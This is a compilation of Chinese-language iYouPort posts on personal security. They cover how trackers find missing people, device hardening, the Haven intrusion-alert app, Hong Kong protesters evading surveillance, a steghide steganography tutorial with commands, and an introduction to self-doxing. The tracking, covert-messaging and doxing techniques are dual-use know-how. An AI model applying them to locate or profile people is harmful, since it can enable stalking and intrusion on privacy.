5、追踪者需要特别注意失踪者所处的环境，有必要明确描述“关系圈”。很多时候一个人不可能什么都不说就消失。通常，失踪者的关系圈内至少有一个人知道一些信息，但由于各种原因（承诺、害怕什么、试图混淆调查，等等）而不说话。对于失踪者来说，您应该知道，近亲是最可能被追踪者密切关注的。

6、在所有这些步骤之后，追踪者必须将收到的信息系统化，并绘制出事件发生的时间线。可视化工具是这种情况下的理想选择。例如：Gephi。在这里看到用法演示《推特标签讲述的故事：解码秘密（8）》。

老方法当然也可以，就是在白板上做标记，红线、贴纸和磁铁。它被称为“侦探板”。这种方法适用于旷日持久的调查。

请注意，如果您是追踪者，在推进调查的过程中要时刻记得所有的新数据都必须输入您的图表中。

7、有时，搁置反而是好办法，可以帮助追踪者推进调查。因为随着时间的流逝，人们往往会犯错和放松，失踪者在最初的几个月内会格外小心，而过了这段时间就会觉得自己安全了，这种情况下就会下意识地泄漏线索。曾经有一个目标人在失踪六个月后，在商店付款时使用了自己的旧信用卡，这一点是严重错误的，他立刻就被抓到了。

紧张和疲惫是失踪者最大的障碍，预算和时间是追踪者最大的障碍。在这里，谁能拖垮对方，谁就能赢。

8、追踪者的工作就是系统化能够采集到的一切数据，以进一步应用必要的操作 —— 例如：查看城市监控摄像头，要求银行提供账户报表，目标车辆的移动情况（如果失踪者有车的话），他是否购买了机票、火车票或汽车票，是否越过了边境，确定手机的位置，以及其他数据。这一切都取决于追踪者具体的能力、权力范围、以及身边有多少专家。

警察做的事都是一样的，只是，通常，由于他们的工作量和官僚系统的一些特点，要慢得多。于是如果您遭遇的不是当局，而是私家侦探，可能会更麻烦，因为私家侦探没有官僚主义，机动性更强，更不择手段。

同样，每个案例都是独一无二的。本文给出的是一个框架，任何追踪调查都在这个框架内，但您必需灵活变通，有些时候传统方法是最适用的，而另一些时候，您非常有必要创新技巧。

从追踪者的经验上看，在大多数情况下，调查到了一定阶段就会陷入死胡同。原因有很多：预算已经耗尽；当事人离开了这个国家，在某个地方追踪者没有关系可以接收信息；入手太晚，最初成功的机会不大，还有很多其他原因。这些追踪者的麻烦就是失踪者的机会。〇

原文

返回基础知识：普通人如何强化智能手机和计算机的安全性 - iyouport

护盾（AS）

【2020年5月22日存档】这里是您最基本应该做到的。

信息安全专业人员撰写的文章经常会服务于已经对网络安全原理有高度了解的同行。

如果您正在写技术白皮书或其他内容，那么会很好，但是，我认为对于每天使用电脑和手机的普通用户而言，他们需要的是任何人都可以采取的步骤以加强计算机和智能手机的安全性。在这方面，专业人士做得不够好。

本文希望在这方面提供一些帮助：您的个人信息和电子设备的基础安全性。

本文侧重于基础级指南，重点关注各种技能和知识水平的互联网用户的相关基本网络安全做法，对日常普通用户很有用。

正如定义所指出的，强化某些东西是为了使其更安全以免受攻击。这就像使房屋免受飓风侵袭，或为军事车辆增添重型装甲以防弹。

房屋或车辆可能仍会遭受一些损坏，但是重要的是，风暴或袭击结束后，房屋或车辆在保护房屋内的所有物品的同时，仍可以做到功能正常。

基本计算机安全原理

「图」

作为计算机技术的日常用户，您必须对正在使用的系统和设备的安全概念和原理有一个基本了解，不需要深入，以便知道它们为什么存在以及如何帮助提供多种功能。这样您就可以利用它们来进行基本安全防御了。

- 机密性 —— 保护信息免遭未经授权的访问
- 完整性 —— 信息保护防止未经授权修改数据
- 可用性 —— 保护您访问信息的能力

上述模型是网络安全的基础。当然，还有很多，但不要让事情复杂化。

每当您考虑计算机、应用程序、智能手机、平板电脑或任何类型的电子设备时，都可以将其置于上述模型的环境中，并为它们分配风险级别，例如中低至高。

在家用计算机浏览器上查看 Facebook 的机密性风险是否处于低、中或高水平？您需要能根据您自己的具体区别尽可能准确地回答这些问题。

请注意，您访问的每个网站都将需要跟踪您的使用活动和偏好的 cookie。

众所周知，即使用户关闭了 Facebook 浏览器选项卡，某些 Cookie（例如 Facebook 的 cookie）也可以跟踪您的浏览器活动 …… 所以，要当心。

重复同样的问题以获取对完整性和可用性的判断，您将能获得想法；在很多情况下，您需要能比较，上述安全模型中的三根支柱中哪一根对您来说在当前情况下最重要？也就是合理地权衡。

如果用户最关心的是能够访问其数据（即可用性），那么他们可能更愿意接受较少的完整性和机密性，因为在安全性方面，任何技术都总会取舍。

删除所有不必要的应用程序

「图」

通过删除不必要的软件应用程序来减少计算机的攻击面。

卸载您不需要或不常用的所有应用程序，在智能手机上执行相同的操作。但是，其中有些已经进入了操作系统，这需要更高级的技能和知识来消除。

例如，Windows 操作系统预装有许多用户不知道的 “膨胀” 软件，手机也一样。

可以将计算机和智能手机上运行的每项服务和应用程序视为唯一的攻击途径。所以，卸载不使用的程序，否则，如果存在可以利用的未修补漏洞，它们就会变成攻击者的门户。

所有类型的操作系统都具有类似的漏洞。 Mac 用户曾经认为 Mac 没有病毒或恶意软件，然后网络罪犯开始将注意力集中在该操作系统上了 ……

- 《2019年最好的 Mac 杀毒软件是什么？》

最低特权原则

「图」

最低特权就是听起来的那样。它仅涉及为用户提供执行任何与工作相关的任务所需的最低访问权限。

现在网络上存在着一些真正危险的威胁，例如掠夺性天敌、网络欺凌、和金融诈骗，那些不那么明智的人更容易陷入危险。

尤其是如果您家里有孩子的话，请注意设定最低权限，以避免小孩的误操作。

纵深防御

「图」

1、请定期确定是否需要安装更新以确保计算机的操作系统是最新的。

2、Anti-Virus- Avast 具有出色的免费版本 —— 但现在 Avast 被曝光将用户私密数据出售以盈利，请谨慎考虑该公司的服务。实际上，任何顶级的AV供应商都可以做到这一点。您只需要做好定时检查，因为每天都有成千上万的新恶意软件被释放出来。

3、像免费版本的 Spybot 这样的反间谍软件也可以考虑。

- 《5 个最好的免费开源反病毒工具 PC版》
- 《2019年最好的 Mac 杀毒软件是什么？》

更改默认帐户密码

「图」

实际上，您应该在家用 Wi-Fi 路由器或任何电子设备上要做的第一件事就是更新固件并更改其上的默认密码。

请记住，您将其连接到互联网了，世界上任何地方的人都可能会扫描它的漏洞。如果他们发现您使用的是默认密码，他们就会侵入您的路由器和系统。不要让这种事情发生！

启用自动更新

「图」

这是很不言自明的。经常更新软件，否则将遭受漏洞利用的后果……保持最新状态的最佳方法是启用自动更新。

使用密码管理器

「图」

使用长密码或更复杂的密码仍然是一种最佳做法，但也不要忘记，不可以两次使用相同的密码，这一点同样重要！

那么应该如何记住所有这些密码呢？使用信誉良好的密码管理器服务，例如 1Password 或 LastPass，两者均提供免费服务级别。

您只需要设置一个非常好的密码短语，即 “主密码”，它将用作解密密钥以解锁其余所有密码。

有些人不赞成这个概念，因为将所有“鸡蛋”放在一个篮子里似乎非常危险，但是密码管理器和其他任何密码存储方法一样安全。

请勿在浏览器中启用保存的密码！

这只是邀请黑客来入侵。实际上任何以未锁定状态接触您的计算机的人都可以在浏览器中访问您的密码。如果攻击者能够通过恶意软件或其他方式远程破坏您的计算机，他们就很容易访问这些密码。

KeePass Password Safe 是可与您的计算机和手机一起使用的另一个选项。

KeePass 的不同之处在于，您可以将密码管理器应用程序下载到计算

机或智能手机上（或同时下载到这两者），然后将所有密码本地保存在 C:\ 上的加密库中，这比将其存储在网站中或者写在纸上更好。

写下密码并非完全不安全，但是大多数人都很懒，只是将它们放在计算机旁边或键盘下方。尽管这似乎是“简单”的选择，但是显然，非常不安全，如果您在工作中这样做，很可能会受到纪律处分。

使用密码管理器的最有利效果之一就是更改密码非常容易。您想要一个50个字符的密码，包括大小写字母、数字和符号吗？没问题。这里有大把的选项提供给您。

此外，还有一些内置功能可以测试您的密码的强度，并检查是否在其他地方重复了密码 —— 如果是，可能使攻击者在不同的网站上执行“凭证填充”。

您肯定不希望发生这种情况，因此最好立即养成对拥有帐户的每个网站使用唯一密码的习惯。

还要记住，在互联网上，少即是多。如果您不那么必须在网站上创建帐户或输入个人信息的话，那么就坚持不输入任何东西！

您不知道网站所有者如何保护您的个人信息的安全性，或者是否有恶意的内部人员窃取或泄漏敏感数据。所以，您发布的有关您自己的信息越少，您的隐私就越好。

- 请注意：《你不应该在社交媒体上说的话》

使用双因素身份验证

「图」

这一点应该不用多说，但是很多人似乎很难采用这种最佳实践。

密码是一种较弱的保护形式，一直以来都是，但直到最近技术进步才允许实施更强的安全措施。

已经2020年，如果您仍然仅仅依靠密码来保存所有在线机密，那么您肯定有点过时了。

是的，密码是第一道防线，但是要聪明一些，花2分钟的时间在您的帐户上设置2FA，尤其是对于真正重要的帐户，例如网上银行、电子邮件等。

请注意，不要通过短信或电子邮件发送验证码，您应该使用物理密钥或身份验证APP，原因见：

- 《如何使用社交工程来攻击 2FA？》

防火墙

「图」

如果您要连接到互联网，则使用某种类型的防火墙非常重要。防火墙可以阻止可能有害的恶意软件攻击您的系统。

大多数操作系统都带有自己的防火墙，但是您也可以下载和配置 pfSense 等免费版本。

如果您使用的是 Windows，则最好使用操作系统随附的 Windows Defender 防火墙。

如果您喜欢使用其他AV产品，例如 Avast Premium Security、MalwareBytes 或 Kaspersky，则在安装它时，必须授予它管理防火墙设置的权限。但是，您仍然可以根据需要修改设置，也可以使用默认设置。

不用时锁定计算机或设备

「图」

物理安全性是计算机安全性的重要组成部分。如果缺少了它，其他计算机安全概念都可能失败。

因此，每当您从办公桌上或在公共场所起身离开时，请确保习惯于锁定屏幕。要解锁计算机，需要输入正确的密码或PIN码（提示：请勿使用“ Password1”或类似的密码）。

当心可疑的电子邮件、附件和链接

「图」

是的，只需在电子邮件或网站上一次错误的点击，就可以用恶意软件感染您的计算机或智能手机。

因此，在打开您不信任的任何发件人发送的电子邮件时，请务必谨慎 —— 保持科学的偏执是正确的。

另外，切勿打开您不认识的发件人发送的电子邮件附件。实际上，即使是来自您信任的发件人，也要养成一个习惯，即：首先使用防病毒/反恶意软件工具扫描文件，确认安全后再下载并打开。

像对待计算机一样对待智能手机

「图」

许多人不认为智能手机是一台计算机，但事实上它就是。

现代技术的飞速发展已经将台式计算机的强大功能带到了您的掌中，但请不要误会 —— 它不是电话，它就是电脑。

智能手机就像计算机一样容易受到骇客、病毒和恶意软件的攻击，因为它们同样是具有处理器芯片、内存、操作系统和应用程序的计算机。

如果您拥有像当今世界上许多人一样使用的智能手机，那么几乎您的一生都已经聚集在这台微型的计算机中，它可以打电话、具有GPS导航、数码录音机、拍照和录像功能、视频聊天、做笔记、听写、有闹钟、计算器、计时器、玩视频游戏、上网、个人助理、网上银行、手机支票存款、小型企业芯片卡读取器、访问云存储应用程序 …… 清单继续 ……好吧，您明白了？

人们使用智能手机的方式永无止境。如果没有智能手机，许多人将完全迷路，这就是为什么当我看到有人将智能手机置于不受保护状态和/或将其放置在任何可供他人窃取或翻阅的地方时，我会深感困惑。

您应该将智能手机视为您的个人身份的数字网关。你不想被恶意者盗取身份对吧？

请记住，这是一台装有易失性和非易失性储存器的微型计算机，以及一个操作系统；那么您应该在其上安装防病毒软件以保护它免受病毒和恶意软件的侵害。

1、启用全盘加密（FDE）—— iPhone 有预置的 FDE，但对于Android用户来说，您可能需要手动，通过导航至“设置”」」“生物识

别和安全性”」」“安全启动”」」“开启设备时要求输入PIN码”（取决于您的Android版本，可能会略有不同）。

您可能希望使用8位PIN以提高密码强度。您可能还需要输入密码才能解锁手机，但密码可能很快会过时。即使是8位数的PIN也无法保护您免于暴力攻击。

2、启用某种类型的屏幕锁定，PIN、密码、生物指纹。

PIN码安全性最强的是8位PIN码或密码，请记住，每次解锁手机时都将需要输入此PIN码或密码。

您还可以设置屏幕锁（例如指纹或几何形状），关键是要保护您的智能手机，以便其他人无法随便拿起它就可以打开。

再次强调，本文是给普通人的。这种方法可能无法阻止经验丰富的骇客和政府间谍，但是对小偷和偷窥狂来说，还是有效的。

- 《如果警察抢走你的手机，或你与骇客同乘电梯…… 3分钟无需解锁实现入侵》

3、如果您的智能手机被盗，请启用远程擦除。方法如下：

- 《如何保持 Android 设备免受警察的侵害》
- 《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》

4、安装防病毒软件，比如 Avast，为PC和移动设备提供了较好的免费服务。当然，如果可以承受的话，购买高级保护版本会更好，有更多功能。

有很多防病毒软件提供商，选择一个评级高的还不太贵的服务，它应该不会笨拙，不会导致手机性能下降。

5、安装付费的 VPN 应用程序，以保护您使用公共Wi-Fi热点时不会受到窥探者的攻击。

这可能无法阻止警察和政府间谍跟踪您，但基本可以防止您的互联网服务提供商（ISP）和星巴克的 Hacker Bob 看到您在网上做什么。

- 参见《如何检查您的VPN连接是否实际加密》

您应该知道，有许多不道德的VPN供应商您应该小心。在选择VPN提供商之前，请先做点调查，以便对得起您的付费。您需要考察的是以下这些方面：

- 《如何验证您的 VPN 连接是否安全？》

七步原则

「图」

在您考虑自己的数字安全性时，需要一些基本的技巧。

最基础的就是威胁建模 —— 全面分析您自己的需求，以便获得最恰当的防御模式。

- 《保护安全需要一系列思考方式，而不是哪个软件》

首先，请问自己以下问题：

- 我要保护什么？
- 我想防的人是谁(们)？
- 我做到保护的可能性有多大？
- 如果我失败了，后果有多严重？
- 我愿意付出多少以防止潜在的后果？

回答这些问题后，您可以更好地评估您的数字安全需求、并创建安全计划或威胁建模。

请始终记得以下6点：

1、最薄弱的一环 ——

记住那句老话：最薄弱的一环会毁掉整个链条。例如，如果您根本没安窗闩，那么即便安装了最好的门锁也没有用。

同样，如果您在笔记本电脑上存储未加密的副本并且笔记本电脑被盗，那么仅仅对电子邮件进行加密并没有用。

请考虑信息和电子设备使用的每一个部分，尝试找出数字安全实践中的任何薄弱环节。

2、更简单，更安全，更轻松 ——

每一个闪亮的、全新的安全解决方案都会对某些人产生诱惑。但是很快，人们发现自己使用了太多的工具，尝试了很多事，以至于已经错乱。

尤其是，拥有复杂的安全系统使识别薄弱环节变得更加困难。

因此，保持简单。

有时，最安全的解决方案可能是技术含量最低的解决方案。就如在电脑摄像头上贴黑胶布、不要买任何所谓的的智能家居、出门前把手机放入法拉第袋…… 等等。

也许计算机可以在很多方面发挥作用，但是有时简单的笔和便条纸的安全性问题更容易理解，因此更易于管理。

3、更昂贵并不意味着更安全 ——

不要以为最昂贵的解决方案是最好的。特别是如果它占用了其他地方所需的资源的话。

诸如在将垃圾丢在路边之前将其彻底切碎的低成本措施就可以为您带来很多好处。

4、可以信任某人，但需要始终知道您信任的人 “是谁” ——

计算机安全建议最终听起来像是您应该绝对不信任任何人，仅仅相信自己。

在现实世界中，几乎可以肯定的是，至少从您的近亲、同伴到医生或律师，很多人都知道您的某些信息。

而在数字空间中，棘手的是：如何了解您信任的人以及信任的对象。

您可能会给您的律师提供密码列表：但是您应该考虑一下这样做可能赋予他们的权力 —— 是否有坏人可以轻易地访问您的密码。

您可能会在被认为是 “私人” 的 Dropbox 或 Google 之类的云服务中编写文档：但是，与此同时您还允许了 Dropbox 和 Google 访问您的文档。

请随时记得，不论是在线还是离线，与您共享秘密的人越少，保密的机会就越大。

5、并没有一个完美的安全计划 ——

您需要做的是制定一个对您有用的、对您面临的风险以及您和您的同事必然能够采取实施步骤的安全计划。

如果不能做到每天都遵循该计划，这一计划就行不通。纸上谈兵不解决问题。

6、今天安全的东西明天可能不安全 ——

不断重新评估您的安全实践至关重要。仅仅因为它们在去年或上周是安全的，并不意味着它们现在仍然安全。

请不断关注您信任的安全知识平台发布的最新消息。请记住：安全性是一个连续的过程。

最后

「图」

本文中所有这些安全措施都是给普通人 —— 它们是保护数据所需的 **最低限度** 的步骤。

我们不想说这是个弱肉强食的世界，但如果您真的像绵羊一样，那就几乎肯定会招来狼。

购买计算机和智能手机时不要仅仅研究性能方面哪个更好，您需要多钻研下如何正确地保护它们，以免遭受不必要的伤害。

别忘了我们介绍给的书哦👆，在这里下载：https://t.me/iyouport/6734

○□

原文

避风港发布 Haven 0.1.0 RC 1 公测版，这里是中文介绍 - iYouPort

反侦查-在现实中反监视护盾（AS）

经历过恐怖的人都理解物理安全的重要性

「图」

「图」

Haven 适合于那些需要一种方法来保护自己的个人空间和财产不损害的人。它是一个 Android 应用程序，利用设备上的传感器来提供对物理空间的监测和保护。源代码在这里。

Haven 的目的是将任何 Android 手机变成动作、声音、振动和光探测器，以观察意外的访客和不受欢迎的入侵者，并提出警告。

Snowden 和合作者们为广大处于风险中的调查记者、人权维护者和有被迫失踪风险的敏感人士设计了 **Haven**，以创建一种新的群体免疫力。通过将任何智能手机中的传感器阵列与世界上最安全的通信技术（如 Signal 和 Tor）相结合，Haven 可以防止当权者扼杀自由。

在这里查看完整的 Haven 应用程序概述演示文稿，了解有关项目起源和目标的更多信息。

「图」

「图」

「图」

「图」

「图」

「图」

公告和公开测试版

Haven 作为一个开源项目已经推出公开测试版，该项目正在寻找能够理解物理安全与数字安全同等重要的贡献者，以及能够对需要获得支持的用户和社区所面临的威胁给予理解和同情。开发人员相信 Haven 能做到采用更复杂的方法来保护物联网和家庭自动化系统之间的通信。

可以通过以下链接了解有关该项目的更多信息：

- Haven: Building the Most Secure Baby Monitor Ever?
- Snowden's New App Uses Your Smartphone To Physically Guard Your Laptop
- Snowden's New App Turns Your Phone Into a Home Security System

项目团队

Haven 是由新闻自由基金会和卫报合作开发的项目。 FPF 提供启动资金，支持继续工作的捐款可以通过他们的网站提供：https://freedom.press/donate-support-haven-open-source-project/

「图」

「图」

通过传感器安全

Haven 仅在运动或音量触发时保存图像和声音，并将所有内容存储在设备上。您可以定位设备的摄像头以捕捉可见的动作，或将手机设置在谨慎的地方，以便只是监测声音。应用程序帮助人们立即获取入侵事件的安全通知，并可以在随后远程访问日志。

「图」

「图」

「图」

「图」

「图」

「图」

监控以下传感器，然后记录到设备上的事件日志中：

- 加速度计：手机的移动和振动
- 相机：通过前置或后置摄像头在手机可见的环境中监测活动
- 麦克风：环境中的声音监测
- 光：光线的变化
- 电源：检测设备是否已拔下或断电

该应用程序可以使用 Android Studio 和 Gradle 构建。它依赖于许多第三方依赖项，所有这些依赖项都是免费开源的，在本文档的末尾列出。

安装

您现在可以通过以下三种方式之一获得 Haven BETA 版本：

> 从 Google Play 下载 Haven
>
> 首先，在开源应用程序商店中安装 F-Droid，然后通过扫描下面的 QR 码添加 Haven Nightly“Bleeding Edge” 存储库：

「图」

「图」

或者在 F-Droid 的设置 → 存储库中，手动添加此存储库：https：*guardianproject.github.io/haven-nightly/fdroid/repo/* *<<<* 从 *GitHub* 页面获取 *APK* 文件 *<<<* 当然，您可以从源代码自己构建应用程序。如果您是 *Android* 开发人员，您可以在此处了解有关如何在开发工作流程中使用 *F-Droid* 以了解夜间构建，测试，再现性和更多信息：*F-Droid* 文档 为什么没有 ***iPhone*** 版？ 虽然希望将来可以有直接在 *iOS* 设备上运行的 *Haven* 版本，但 *iPhone* 用户仍然可以从现在开始受益。您可以以低于 *100* 美元的价格购买便宜的 *Android* 手机，并将其作为您的*“Haven* 设备*”*使用，留下您的 *iPhone*，同时将 *iPhone* 随身携带。如果您在 ***iPhone*** 上运行 ***Signal***，则可以在 ***Android*** 上配置 ***Haven***，以便它可以直接发送包含照片和音频的加密通知。如果在 *Haven* 中启用 *“Tor Onion* 服务*”*功能（还需要安装*“Orbot”*应用程序）您可以使用洋葱浏览器应用程序从 *iPhone* 远程访问所有 *Haven* 日志数据。 应用程序的主视图中允许用户设置要使用的传感器，和相应的

灵敏度级别。必须提供安全代码，以禁用监视。可以设置电话号码，如果触发了任何传感器，则将消息发送到指定的号码。 当其中一个传感器被触发（达到配置的灵敏度阈值）时，通过以下渠道发送通知（如果已启用）：*SMS* 和 *Signal*。 请注意，没有必要在运行 *Haven* 的设备上安装 *Signal* 应用程序。这样做可能会使应用程序之前的 *signal* 注册和安全号码无效。 *Haven* 使用 *API* 通过 *Signal* 进行通信。通知是通过在*"MonitorService"*类中定义的后台运行的服务发送的。 远程访问 所有事件日志和捕获的媒体都可以通过 *Tor Onion Service* 进行远程访问。必须配置为洋葱服务，并要求该设备安装并运行 *Orbot：Tor for Android*。 该项目包含以下项目的源代码或库依赖项： **SecureIt* 项目位于：*https*：github.com/mziccard/ secureitCopyright(c)2014 Marco Ziccardi(修改过的BSD) 来自 Open Whisper Systems 的 libsignal-service-java：https：*github.com/ WhisperSystems/libsignal-service-java(GPLv3)* 来自*AsamK*的*signal-cli*：*https://github.com/AsamK/signal-cli(GPLv3)* **来自 *chennaione* 的 *Sugar ORM*：*https://github.com/chennaione/sugar/(MIT)* **Square* 的毕加索：*https://github.com/square/picasso(Apache 2)* **JayDeep* 的 *AudioWife*：*https://github.com/jaydeepw/audio-wife(MIT)* **AppIntro*：*https://github.com/apl-devs/AppIntro(Apache 2)* **Guardian Project* 的 *NetCipher*：*https*：guardianproject.info/code/ netcipher/(Apache 2)

- NanoHttpd：https://github.com/NanoHttpd/nanohttpd(BSD)
- wdullaer 的 MaterialDateTimePicker：https：*github.com/ wdullaer/MaterialDateTimePicker(Apache 2)* **壁画图像查看器：*https://github.com/stfalcon-studio/ FrescoImageViewer(Apache 2)* **Facebook Fresco* 图片库：*https://github.com/facebook/fresco(BSD)* **音频波形查看器：*https*：github.com/derlio/audio-waveform(Apache 2)
- FireZenk 的 AudioWaves：https://github.com/FireZenk/ AudioWaves(MIT)
- MaxYou 的 SimpleWaveform：https://github.com/maxyou/ SimpleWaveform(MIT)

原文

香港：年轻的抗议者擅长抵御数字监控（附安全须知） - iYouPort

护盾（AS）

技术直觉是生存的刚需

「图」

「图」

香港熟悉技术的抗议者正在试图避免监视和未来可能的起诉。他们关闭了手机上的位置跟踪、用现金购买车票、并及时清除社交媒体对话……

周三，警方用橡皮子弹和催泪瓦斯打破了反对中国引渡法的抗议人群，这是香港几十年来最大规模的抗议活动。

街上的许多人主要是年轻人，他们在数字世界中长大，他们都非常清楚监视的危险，并尽可能避免留下数字足迹。

抗议者担心引渡法将对自由产生毁灭性影响。

“即使我们没做任何激烈的事 —— 就像在网上谈论中国那样简单 —— 因为这种监视的存在也会让当局抓住我们”，这位25岁的抗议者说。

一群示威者戴上口罩、护目镜、头盔和帽子 —— 既能保护自己免受催泪瓦斯、胡椒喷雾和橡皮子弹的伤害，也能躲避面部识别。

「图」

「图」

许多人表示他们在加入抗议活动之前关闭了他们在手机上的位置跟踪并加强了他们的数字隐私设置，并且在他们离开示威现场后删除了社交媒体和消息应用上的对话和照片。

由于抗议者使用现金购买门票，而不是使用香港无处不在的八达通卡——避免行程被跟踪，因此在城市地铁站的售票台前排起了异乎寻常的长队。

在一个 WhatsApp 通常为主要工具的城市，抗议者最近几天接受了加密消息传递应用 Telegram，认为它可以提供更好的网络保护（虽然并不是），也因为它允许更大的群体进行协调（这的确是）。

星期四 Telegram 宣布它已成为重大网络攻击的目标，攻击来自中国的IP。该公司首席执行官认为此次袭击 与该市持续的政治动荡有关。

「图」

「图」

抗议者越来越担心在线使用某些图片如黑白紫荆花可能会引起当局的注意，并且把它们删除了。

“这反映了香港公民对这个政府的恐惧，”一位29岁的在教育部门工作的抗议者表示。

许多人立即删除了“可以证明你在场的证据”。

由于敏感性，与媒体交谈的示威者没有提供全名，并且至少都戴着面罩。

27岁的 Heung 回到抗议活动现场加入清理工作，她在 Facebook 上发帖要求帮助。但是，她很担心呼吁志愿者会将她与抗议联系起来。

「图」

「图」

“也许我今晚会删除帖子，”她说。“我不想成为他们的嫌疑人之一。”

虽然香港还没有遭遇中国大陆那种强大的监视，但北京的威胁令香港人非常担忧自由受到侵害。

香港浸会大学高级新闻讲师 Bruce Lui 表示，人们对安全的认识有所提高，特别是中国无处不在的监控技术以及面部识别和其他跟踪方法的广泛应用。

「图」

「图」

近几年来，由于几位书商在中国面临指控，以及2017年亿万富翁商人肖建华的经历，令香港人感到震惊。

批评者说，引渡法如果获得通过，将允许这些迫害案公开合法地进行。

“一个月前香港还比较平静；但是瞬间，噩梦就会成为现实。谁知道后天它是不是会变得像新疆那样，因为事情可能会迅速被改变”。

“我们正试图通过我们的隐私设置做得更好。但我们仍然认为自己是香港人，而不是中国人，所以我们仍然认为我们有权发表意见”，抗议者说。

⚠ 注 ：Telegram 的确可以容纳更多人的协调，但是群组和频道不加密，尤其是手机号注册，除非设置双重验证＋一次性号码，否则不会足够安全。

相比下 Wire 是比较好的。而且可以设定时间彻底清除信息。虽然容量不如 Telegram，但可以多个群组，分区管理；每个群组固定管理员，这样也能便于避免非暴力直接行动被恶意渗透。最重要的是， 不需要手机号注册 —— ⚠使用独立的替代邮箱注册，而不是您的常用邮箱。

虽然每个人都参加了抗议，但并非所有人都面临同等的危险。当局对组织动员者的盯防强度远高于参与者。

所以您应该实现评估自己的状况，才能做到 合理的防御 ，在这里看到如何评估《 威胁建模 》。日常也要做这项工作！尤其是在“少数派报告”技术加速流行的当下 —— 是否能自由取决于您是否被当局视为“重点盯防目标”。

尽可能不要使用 Twitter/Facebook 等平台进行动员，除非确实必要，动员者必须能做到 真正的匿名 ，在这里看到步骤《 使用社交媒体时的注意事项 》。

并且动员者应该 尽可能晚 地公布具体行动时间和地点，避免被提前警戒。

尽可能不要携带自己的手机，以 避免当局黄貂鱼 的使用（在群体聚集的状态下使用黄貂鱼入侵是很有可能的）在这里看到应对方案《 如何政府使用抵御黄貂鱼的攻击 》。

⚠这里是最基本的行动者注意事项《 集会参与者有必要了解的基本安全措施 》。

我们在此后还将陆续发布一系列关于相关保护性措施和行动技巧的建议，您可以在本网菜单的“How To Win”部分看到这些内容；关于防卫的技巧可以在“Survival Skills”找到。

最后《 安全手册：这里是你需要的几乎所有安全上网工具 》〇

原文

AS16 隐写术的小心机（1） - iyouport

护盾（AS）

【2019年7月5日存档】你一定听说过隐写术，这是个有意思的东西。它经常和密码学混淆，但这俩不是一个东西。它们的区别是什么？如何在一个普通消息中隐藏重要信息以便在线发布时只有”懂的人”才能懂？推荐一些工具，还有视频教程。

隐写术是指学习和运用技术来隐藏消息或对象，是密码学的一部分，真实信息隐藏在被称为载体的东西下面，这样就不会感觉到它的存在。也就是说，它是为了隐藏真实消息，从而建立一个隐蔽的沟通渠道，让沟通的行为本身不被察觉的方法。

请注意，隐写术用于各方之间的通信。为了能够使用隐写术，必须有发送者和接收者之间进行通信的意愿—— 也就是说，如果您的目标接收人不明白您在干什么，该方法就无效。

简单说就是，联合的力量。心要在一处才能做到。

使用隐写术的有用性体现在所谓的囚犯问题上（Gustavus J. Simmons，1983）。这里有两个囚犯A和B，他们想要保密地通信以策划逃跑。问题是，他们只能通过狱卒W交换信息。狱卒可以自己阅读、修改或生成信息。

如果狱卒检测到任何可用于逃逸的通信（例如 检测到加密），将停止发送消息。在这种情况下，囚犯需要建立一个隐秘的通道。

使用隐写术可以让我们拥有一个这样的秘密通道，这样就可以在不被发现的情况下进行通信。隐写术解决囚犯问题的策略是在狱卒允许的信息中隐藏囚犯不想被发现的数据。

虽然隐写术经常与密码学混淆，但它们既是信息保护过程的一部分，又是不同的学科，无论是实施方式还是目标方面。

虽然密码术用于以可能的入侵者无法理解的方式加密信息，但是，隐写术需要将信息隐藏在载体之下，以便令其看起来不存在。于是，可能的入侵者甚至不知道自己正在传输敏感信息。

一些能够放置隐藏消息的工具是这样的：

Steghide http://steghide.sourceforge.net/

OpenStego http://www.openstego.info/

wbStego http://wbstego.wbailer.com/

Snow http://www.darkside.com.au/snow/index.html

gifshuffle http://www.darkside.com.au/gifshuffle/

JPHIDE y JPSEEK http://linux01.gwdg.de/~alatham/stego.html

Fuse::PDF http://search.cpan.org/~cdolan/Fuse-PDF-0.09/lib/Fuse/PDF.pm

Mp3stego http://www.petitcolas.net/fabien/steganography/mp3stego/

Stelin http://stelin.sourceforge.net/

使用 Steghide 举一个例子：

⚠ 注意：在开始之前，我们建议您查看如何“从文件中删除元数据”，并删除要使用的文件的元数据。也就是上面那篇文章。这非常重要！

对于此示例，我们需要一个图像和一个文本文件。我们要使用的图片是：

希望您可以在练习结束时发现该文本文件。

要插入的命令是：

```
steghide embed -cf nombredelaimagen.jpg -ef
texto_a_esconder.txt
```

然后

```
steghide embed -cf Rebeldes.jpg -ef Mensaje.txt
```

它会要求安全行为，现在将使用：FB！Warning20

最终的形象是这样：

现在要提取隐藏的消息，命令是：

```
$ steghide extract -sf nombre_de_la_imagen.jpg
```

你能看到这条信息吗？

哈，很棒！下面推荐一些视频教程：

```
[[1S_Videotutorial|https://
gendersec.tacticaltech.org/wiki/
images/8/83/1Steghide.webm]][[2S_Videotutorial|
https://gendersec.tacticaltech.org/wiki/images/d/
de/Steghide_2.webm]][[3S_Videotutorial|https://
gendersec.tacticaltech.org/wiki/images/1/1f/
Steghide_3.webm]]
```

要考虑的事——

验证两个图像的元数据很有意思。修改前后是否会改变？元数据有哪些变化？

阅读完信息后，您认为要对该图像进行的操作非常重要，您可以在某个时刻发送它，并且隐藏信息的文件将会传播……

关于 Steghide 您可以在这里找到更多解释。请在您最需要的时候使用它。好运！○

原文

AS18 自我人肉（1） - iyouport

护盾（AS）

【2019年8月2日存档】“你对目标的了解越多，找到他或她的弱点就越容易”，然后就可以利用这些弱点以发起最有效的攻击。你对自己的弱点很可能不那么了解，而你的敌人很了解。如果你想要防御敌人，那么就最好能首先”变成”自己的敌人，通过他们的眼睛来看自己。怎么做？

Doxing 是一种使用互联网上的来源追踪某人或收集有关个人信息的技术。其名称源自“Documents”或“Docx”。Doxing 方法完全基于监视者/攻击者/社交工程师识别有关其目标的有价值信息的能力，并将此信息用于实现他们的利益。它也是基于这样的想法：

> “你对目标的了解越多，找到他或她的弱点就越容易”
> —— *Urban dictionary*

然后就可以利用这些弱点以发起最有效的攻击。根据对手的不同，挖掘过程也大不相同。例如，分析信息可用于情报机构的秘密尝试；如果这些尝试都失败了并且你仍然热衷于批评政府，那么请期待政府支付的trolls（以及当前繁荣时期的例外主义）对你进行激进的妖魔化。

